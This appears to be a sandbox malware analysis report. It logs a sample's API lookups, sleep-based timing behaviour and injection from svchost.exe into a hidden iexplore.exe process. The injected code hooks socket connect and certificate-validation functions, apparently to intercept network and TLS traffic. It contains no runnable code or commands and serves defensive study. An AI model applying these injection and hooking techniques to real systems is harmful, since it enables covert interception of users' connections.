Get Address c:\windows\system32\shlwapi.dll function = StrStrA, address_out = 0x771fc45b True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = memchr, address_out = 0x77364c00 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = _wcsicmp, address_out = 0x77386f61 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = memcpy, address_out = 0x77364cc0 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = strrchr, address_out = 0x77365900 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = memcmp, address_out = 0x77363b1b True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = strchr, address_out = 0x77377690 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = memset, address_out = 0x77365340 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = strstr, address_out = 0x773775c0 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = strncpy, address_out = 0x77365790 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = strncat, address_out = 0x77365650 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = strncmp, address_out = 0x773a25ec True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = memmove, address_out = 0x77365000 True 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CryptExportPublicKeyInfo, address_out = 0x7564455f True 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CertNameToStrA, address_out = 0x7566b2df True 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CertCreateSelfSignCertificate, address_out = 0x75667a93 True 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CertFreeCertificateContext, address_out = 0x7561f5b5 True 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CryptSignAndEncodeCertificate, address_out = 0x756674a1 True 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CertCloseStore, address_out = 0x7561dd10 True 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CertStrToNameA, address_out = 0x7566b33a True 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CryptEncodeObject, address_out = 0x75624ba9 True 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CertSetCertificateContextProperty, address_out = 0x7562bb05 True 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CertFindCertificateInStore, address_out = 0x756225e8 True 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CertOpenStore, address_out = 0x7561df23 True 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CertGetCertificateContextProperty, address_out = 0x75620bda True 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CertFindExtension, address_out = 0x75622595 True 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CertCreateCertificateContext, address_out = 0x75620b37 True 1
Fn
Get Address c:\windows\system32\secur32.dll function = ApplyControlToken, address_out = 0x753c47de True 1
Fn
Get Address c:\windows\system32\secur32.dll function = QueryContextAttributesA, address_out = 0x753ba43b True 1
Fn
Get Address c:\windows\system32\secur32.dll function = EncryptMessage, address_out = 0x753b52e4 True 1
Fn
Get Address c:\windows\system32\secur32.dll function = AcceptSecurityContext, address_out = 0x753b7b49 True 1
Fn
Get Address c:\windows\system32\secur32.dll function = AcquireCredentialsHandleA, address_out = 0x753ba11a True 1
Fn
Get Address c:\windows\system32\secur32.dll function = DeleteSecurityContext, address_out = 0x753b3323 True 1
Fn
Get Address c:\windows\system32\secur32.dll function = InitializeSecurityContextA, address_out = 0x753c4c32 True 1
Fn
Get Address c:\windows\system32\secur32.dll function = DecryptMessage, address_out = 0x753b53b2 True 1
Fn
Get Address c:\windows\system32\secur32.dll function = FreeContextBuffer, address_out = 0x753b2daf True 1
Fn
Get Address c:\windows\system32\shell32.dll function = SHGetSpecialFolderPathA, address_out = 0x75dffb26 True 1
Fn
Get Address c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll function = InitializeCriticalSectionEx, address_out = 0x0 False 4
Fn
Get Address c:\windows\system32\kernel32.dll function = FlsAlloc, address_out = 0x76b6418d True 5
Fn
Get Address c:\windows\system32\kernel32.dll function = FlsSetValue, address_out = 0x76b676e6 True 5
Fn
Get Address c:\windows\system32\kernel32.dll function = FlsGetValue, address_out = 0x76b61e16 True 3
Fn
Get Address c:\windows\system32\kernel32.dll function = LCMapStringEx, address_out = 0x76b9f72b True 3
Fn
Get Address - function = EnterCriticalSection, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = LeaveCriticalSection, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = InitializeCriticalSection, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = CloseHandle, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = DeleteCriticalSection, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = SetEvent, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = ResetEvent, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = WaitForSingleObjectEx, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = CreateEventW, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetModuleHandleW, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetProcAddress, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = IsDebuggerPresent, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = UnhandledExceptionFilter, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = SetUnhandledExceptionFilter, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetStartupInfoW, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = IsProcessorFeaturePresent, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = QueryPerformanceCounter, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetCurrentProcessId, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetCurrentThreadId, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetSystemTimeAsFileTime, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = InitializeSListHead, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetCurrentProcess, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = TerminateProcess, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = WideCharToMultiByte, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = EncodePointer, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = DecodePointer, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = MultiByteToWideChar, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = SetLastError, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = InitializeCriticalSectionAndSpinCount, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = TlsAlloc, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = TlsGetValue, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = TlsSetValue, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = TlsFree, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = LCMapStringW, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetLocaleInfoW, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetStringTypeW, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetCPInfo, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetLastError, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = FreeLibrary, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = LoadLibraryExW, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = RaiseException, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = InterlockedFlushSList, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = RtlUnwind, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = ExitProcess, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetModuleHandleExW, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetModuleFileNameA, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = HeapAlloc, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = HeapReAlloc, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = HeapFree, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetACP, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetStdHandle, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetFileType, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = IsValidLocale, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetUserDefaultLCID, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = EnumSystemLocalesW, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = FindClose, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = FindFirstFileExA, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = FindNextFileA, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = IsValidCodePage, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetOEMCP, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetCommandLineA, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetCommandLineW, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetEnvironmentStringsW, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = FreeEnvironmentStringsW, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetProcessHeap, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = FlushFileBuffers, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = WriteFile, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetConsoleCP, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = GetConsoleMode, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = ReadFile, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = SetFilePointerEx, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = SetStdHandle, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = HeapSize, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = WriteConsoleW, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = ReadConsoleW, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address - function = CreateFileW, ordinal = 0, address_out = 0x1df87c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeConditionVariable, address_out = 0x77389981 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = SleepConditionVariableCS, address_out = 0x76b418be True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = WakeAllConditionVariable, address_out = 0x773545a5 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = FlsFree, address_out = 0x76b61f61 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76b63879 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InitOnceExecuteOnce, address_out = 0x76b59601 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateEventExW, address_out = 0x76b124d8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateSemaphoreW, address_out = 0x76b4db8b True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateSemaphoreExW, address_out = 0x76b42111 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateThreadpoolTimer, address_out = 0x76b4b009 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadpoolTimer, address_out = 0x773589be True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WaitForThreadpoolTimerCallbacks, address_out = 0x7734c02a True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CloseThreadpoolTimer, address_out = 0x7734c0d2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateThreadpoolWait, address_out = 0x76b43f78 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadpoolWait, address_out = 0x77358bfb True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CloseThreadpoolWait, address_out = 0x7734b567 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FlushProcessWriteBuffers, address_out = 0x77375998 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FreeLibraryWhenCallbackReturns, address_out = 0x77342251 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentProcessorNumber, address_out = 0x773428f6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateSymbolicLinkW, address_out = 0x76b99aa9 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentPackageId, address_out = 0x0 False 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetTickCount64, address_out = 0x76b4eb4e True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetFileInformationByHandleEx, address_out = 0x76b538ad True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetFileInformationByHandle, address_out = 0x76b48d0f True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetSystemTimePreciseAsFileTime, address_out = 0x0 False 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WakeConditionVariable, address_out = 0x773d5a7b True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeSRWLock, address_out = 0x77389981 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = AcquireSRWLockExclusive, address_out = 0x7738334e True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TryAcquireSRWLockExclusive, address_out = 0x77361801 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ReleaseSRWLockExclusive, address_out = 0x77383324 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SleepConditionVariableSRW, address_out = 0x76b423f5 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateThreadpoolWork, address_out = 0x76b489f2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SubmitThreadpoolWork, address_out = 0x773426a9 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CloseThreadpoolWork, address_out = 0x77342111 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CompareStringEx, address_out = 0x76b6ebc6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetLocaleInfoEx, address_out = 0x76b453a5 True 1
Fn
Get Address c:\windows\system32\psapi.dll function = GetModuleFileNameExA, address_out = 0x759d15bc True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = NtQueryInformationProcess, address_out = 0x77376048 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = RtlCreateUserThread, address_out = 0x77339250 True 2
Fn
User (1)
»
Operation Additional Information Success Count Logfile
Get Username user_name_out = 2XC7u663GxWc True 1
Fn
System (5764)
»
Operation Additional Information Success Count Logfile
Sleep duration = 60000 milliseconds (60.000 seconds) True 1114
Fn
Sleep duration = 2000 milliseconds (2.000 seconds) True 2
Fn
Sleep duration = 10 milliseconds (0.010 seconds) True 3268
Fn
Sleep duration = 1000 milliseconds (1.000 seconds) True 31
Fn
Sleep duration = 100 milliseconds (0.100 seconds) True 223
Fn
Get Time type = System Time, time = 2019-05-14 15:33:17 (UTC) True 4
Fn
Get Time type = Performance Ctr, time = 26213509034 True 1
Fn
Get Time type = Ticks, time = 11035619 True 1
Fn
Get Time type = Performance Ctr, time = 26221877920 True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:33:19 (UTC) True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:33:21 (UTC) True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:33:27 (UTC) True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:33:37 (UTC) True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:33:47 (UTC) True 18
Fn
Get Time type = System Time, time = 2019-05-14 15:33:48 (UTC) True 58
Fn
Get Time type = System Time, time = 2019-05-14 15:33:49 (UTC) True 64
Fn
Get Time type = System Time, time = 2019-05-14 15:33:50 (UTC) True 58
Fn
Get Time type = System Time, time = 2019-05-14 15:33:51 (UTC) True 13
Fn
Get Time type = System Time, time = 2019-05-14 15:33:54 (UTC) True 32
Fn
Get Time type = System Time, time = 2019-05-14 15:33:55 (UTC) True 54
Fn
Get Time type = System Time, time = 2019-05-14 15:33:56 (UTC) True 5
Fn
Get Time type = System Time, time = 2019-05-14 15:33:58 (UTC) True 25
Fn
Get Time type = System Time, time = 2019-05-14 15:33:59 (UTC) True 58
Fn
Get Time type = System Time, time = 2019-05-14 15:34:00 (UTC) True 58
Fn
Get Time type = System Time, time = 2019-05-14 15:34:01 (UTC) True 50
Fn
Get Time type = System Time, time = 2019-05-14 15:34:02 (UTC) True 58
Fn
Get Time type = System Time, time = 2019-05-14 15:34:03 (UTC) True 62
Fn
Get Time type = System Time, time = 2019-05-14 15:34:04 (UTC) True 49
Fn
Get Time type = System Time, time = 2019-05-14 15:34:05 (UTC) True 36
Fn
Get Time type = System Time, time = 2019-05-14 15:34:08 (UTC) True 53
Fn
Get Time type = System Time, time = 2019-05-14 15:34:09 (UTC) True 58
Fn
Get Time type = System Time, time = 2019-05-14 15:34:10 (UTC) True 59
Fn
Get Time type = System Time, time = 2019-05-14 15:34:11 (UTC) True 59
Fn
Get Time type = System Time, time = 2019-05-14 15:34:12 (UTC) True 59
Fn
Get Time type = System Time, time = 2019-05-14 15:34:13 (UTC) True 47
Fn
Get Time type = System Time, time = 2019-05-14 15:34:15 (UTC) True 20
Fn
Get Time type = System Time, time = 2019-05-14 15:34:16 (UTC) True 10
Fn
Get Time type = System Time, time = 2019-05-14 15:34:18 (UTC) True 18
Fn
Get Time type = System Time, time = 2019-05-14 15:34:19 (UTC) True 12
Fn
Get Time type = System Time, time = 2019-05-14 15:34:21 (UTC) True 17
Fn
Get Time type = System Time, time = 2019-05-14 15:34:22 (UTC) True 1
Fn
Get Info type = Hardware Information True 4
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Network Behavior
Process #36: iexplore.exe
123 0
»
Information Value
ID #36
File Name c:\program files\internet explorer\iexplore.exe
Command Line "C:\Program Files\Internet Explorer\iexplore.exe" -nohome
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:03:11, Reason: Injection
Unmonitor End Time: 00:04:16, Reason: Terminated by Timeout
Monitor Duration 00:01:05
OS Process Information
»
Information Value
PID 0xc38
Parent PID 0xc0c (c:\windows\system32\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x B4C
0x E38
0x E00
0x DF4
0x CE8
0x C7C
0x C74
0x C6C
0x C68
0x C64
0x C60
0x C58
0x C50
0x C4C
0x C3C
0x A30
0x 1CC
0x BA8
0x BBC
Hook Information
»
Type Installer Target Size Information Actions
Code private_0x0000000001a20000:+0x1f86 ws2_32.dll:connect+0x0 5 bytes -
...
Code private_0x0000000001a20000:+0x1f86 crypt32.dll:CertGetCertificateChain+0x0 5 bytes -
...
Code private_0x0000000001a20000:+0x1f86 crypt32.dll:CertVerifyCertificateChainPolicy+0x0 5 bytes -
...
Code private_0x0000000001a20000:+0x1f86 mswsock.dll:ConnectEx+0x0 5 bytes -
...
Injection Information
»
Injection Type Source Process Source Os Thread ID Information Success Count Logfile
Modify Memory #35: c:\windows\system32\svchost.exe 0xa3c address = 0x1a00000, size = 79360 True 1
Fn
Data
Modify Memory #35: c:\windows\system32\svchost.exe 0xa3c address = 0x1a13600, size = 32 True 1
Fn
Data
Create Remote Thread #35: c:\windows\system32\svchost.exe 0xa3c address = 0x1a13600 True 1
Fn
Host Behavior
File (3)
»
Operation Filename Additional Information Success Count Logfile
Open STD_INPUT_HANDLE - True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Open STD_ERROR_HANDLE - True 1
Fn
Module (116)
»
Operation Module Additional Information Success Count Logfile
Load KERNEL32.dll base_address = 0x76b10000 True 1
Fn
Load WS2_32.dll base_address = 0x75a90000 True 1
Fn
Load SHLWAPI.dll base_address = 0x771d0000 True 1
Fn
Load api-ms-win-core-synch-l1-2-0 base_address = 0x0 False 2
Fn
Load api-ms-win-core-synch-l1-2-0 base_address = 0x6c330000 True 2
Fn
Load api-ms-win-core-fibers-l1-1-1 base_address = 0x0 False 4
Fn
Load kernel32 base_address = 0x0 False 2
Fn
Load kernel32 base_address = 0x76b10000 True 2
Fn
Load api-ms-win-core-localization-l1-2-1 base_address = 0x0 False 2
Fn
Load Ws2_32.dll base_address = 0x75a90000 True 1
Fn
Load crypt32.dll base_address = 0x75610000 True 2
Fn
Get Handle c:\windows\system32\ws2_32.dll base_address = 0x75a90000 True 1
Fn
Get Handle c:\windows\system32\crypt32.dll base_address = 0x75610000 True 1
Fn
Get Handle c:\program files\internet explorer\iexplore.exe base_address = 0xc50000 True 1
Fn
Get Filename api-ms-win-core-localization-l1-2-1 process_name = c:\program files\internet explorer\iexplore.exe, file_name_orig = C:\Program Files\Internet Explorer\iexplore.exe, size = 260 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = GetExitCodeThread, address_out = 0x76b46ddd True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WaitForSingleObject, address_out = 0x76b5ba90 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcAddress, address_out = 0x76b633d3 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = Sleep, address_out = 0x76b5ba46 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateThread, address_out = 0x76b6375d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CloseHandle, address_out = 0x76b5ca7c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleA, address_out = 0x76b5cf41 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateFileW, address_out = 0x76b5cc56 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = DecodePointer, address_out = 0x7738cd10 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WriteConsoleW, address_out = 0x76b582f1 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76b6ed38 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76b63d01 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentProcess, address_out = 0x76b5cdcf True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TerminateProcess, address_out = 0x76b52331 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsProcessorFeaturePresent, address_out = 0x76b676b5 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76b5bb9f True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentProcessId, address_out = 0x76b5cac4 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentThreadId, address_out = 0x76b5bb80 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76b62fde True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeSListHead, address_out = 0x77395eeb True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetStartupInfoW, address_out = 0x76b63891 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleW, address_out = 0x76b6374d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InterlockedExchange, address_out = 0x76b5bf0a True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualFree, address_out = 0x76b61da4 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualAlloc, address_out = 0x76b62fb6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LoadLibraryA, address_out = 0x76b6395c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualProtectEx, address_out = 0x76b9f5d9 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleFileNameA, address_out = 0x76b633f6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcmpiA, address_out = 0x76b52249 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapFree, address_out = 0x76b5bbd0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapReAlloc, address_out = 0x7739ff51 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapAlloc, address_out = 0x77382dd6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcessHeap, address_out = 0x76b61280 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcmpA, address_out = 0x76b48c59 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcpyA, address_out = 0x76b59793 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapSize, address_out = 0x77389bec True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InterlockedFlushSList, address_out = 0x77383129 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = RtlUnwind, address_out = 0x76b47f70 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetLastError, address_out = 0x76b5bf00 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetLastError, address_out = 0x76b5bb08 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = EnterCriticalSection, address_out = 0x773777a0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LeaveCriticalSection, address_out = 0x77377760 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = DeleteCriticalSection, address_out = 0x77389ac5 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x76b63939 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TlsAlloc, address_out = 0x76b635a1 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TlsGetValue, address_out = 0x76b5da70 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TlsSetValue, address_out = 0x76b5da88 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TlsFree, address_out = 0x76b613b8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FreeLibrary, address_out = 0x76b5d9d0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LoadLibraryExW, address_out = 0x76b54775 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = RaiseException, address_out = 0x76b4eb60 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ExitProcess, address_out = 0x76b6214f True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleExW, address_out = 0x76b53e39 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = MultiByteToWideChar, address_out = 0x76b6452b True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WideCharToMultiByte, address_out = 0x76b6450e True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LCMapStringW, address_out = 0x76b613d0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FindClose, address_out = 0x76b60e62 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FindFirstFileExA, address_out = 0x76b9f3ef True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FindNextFileA, address_out = 0x76b5a187 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsValidCodePage, address_out = 0x76b6c1c0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetACP, address_out = 0x76b639aa True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetOEMCP, address_out = 0x76b53db9 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCPInfo, address_out = 0x76b61e2e True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCommandLineA, address_out = 0x76b698ff True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCommandLineW, address_out = 0x76b6679e True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetEnvironmentStringsW, address_out = 0x76b61dbc True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FreeEnvironmentStringsW, address_out = 0x76b61dc3 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetStdHandle, address_out = 0x76b61e46 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetFileType, address_out = 0x76b675a5 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetStringTypeW, address_out = 0x76b667c8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetStdHandle, address_out = 0x76b9f589 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WriteFile, address_out = 0x76b61400 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FlushFileBuffers, address_out = 0x76b47f81 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetConsoleCP, address_out = 0x76b62c8a True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetConsoleMode, address_out = 0x76b62412 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetFilePointerEx, address_out = 0x76b4f5b2 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = WSAIoctl, address_out = 0x75a92fe7 True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = PathFindFileNameA, address_out = 0x771e00aa True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = StrChrA, address_out = 0x771dc5e6 True 1
Fn
